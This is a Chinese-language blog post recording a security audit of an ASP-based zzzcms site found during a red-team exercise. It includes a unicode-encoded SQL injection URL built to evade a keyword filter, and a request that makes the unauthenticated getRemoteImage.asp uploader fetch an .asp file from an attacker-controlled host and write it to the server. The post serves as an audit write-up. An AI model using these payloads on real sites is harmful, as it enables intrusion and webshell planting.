记一次asp站点代码审计的利用
前言:某asp代码审计记录笔记
现在在酒店等国护开始,之前市hw的时候碰到的一个asp环境,因为相关的漏洞都是php版本的,而环境是asp,所以找了个源码进行审计下,这边做个记录
入口点
一个注入iis+asp,通过unicode编码配合注入发现select字符会被截断,导致无法进行利用
https://xxxxx.cn/web/xxxxx.mhtml?cid=1e2unio%u004e--xx selec%u0054~1,2,3,4,5,6
审计过程
当时目标站点前台环境是在/web
下的,而后台环境是在/
下的,所以我不知道它前台是如何写的,跟源码对应不上,所以我这里就着重来分析后台的代码
先看 admin\index.asp
,这个代码下首先会先引入zzz_admin.asp文件
<!--#include file="../inc/zzz_admin.asp" --> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="Cache-Control" content="no-siteapp" /> ... ... ... ...
inc\zzz_admin.asp的鉴权代码,getsession不可控,所以只要引入的zzz_admin.asp的文件都不能利用
if getsession("adminid")="" then if ifstrin(getNowPagePath(),adminpath) then aspgo sitepath&adminpath&"login.asp?act=relog" else aspgo sitepath end if end if
我发现它zzz_Content中的代码全部都引入了鉴权模块zzz_admin.asp
这里还有两个相关的上传组件,分别是webuploader和ueditor,这里分别进行观察
这里的ueditor引用的是webuploader组件
因为这套zzzcms在安装的时候,默认会将当前的admin目录进行修改为admin+三位数字作为后台目录
这边的话发现的一个文件是webuploader下的一个文件,admin468/inc/webuploader/config.asp
,直接访问的是可以看到对应的后台目录的,但是前提是需要知道后台目录,所以没有什么多大的用处
因为我当时的目标站点是被二次开发过的,空的话则代表默认根路径就是后台站点,实战环境下所以我这边/inc/webuploader/config.asp
这边发现webuploader的admin\inc\webuploader\getRemoteImage.asp
没有对上传组件进行单独鉴权操作,如下图所示
http://192.168.4.149/admin468/inc/webuploader/getRemoteImage.asp post:file=http://192.168.88.165:8080/en_moban.asp
回显如下,可以看到对应的文件名
可以看到已经写入了,如下图所示
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY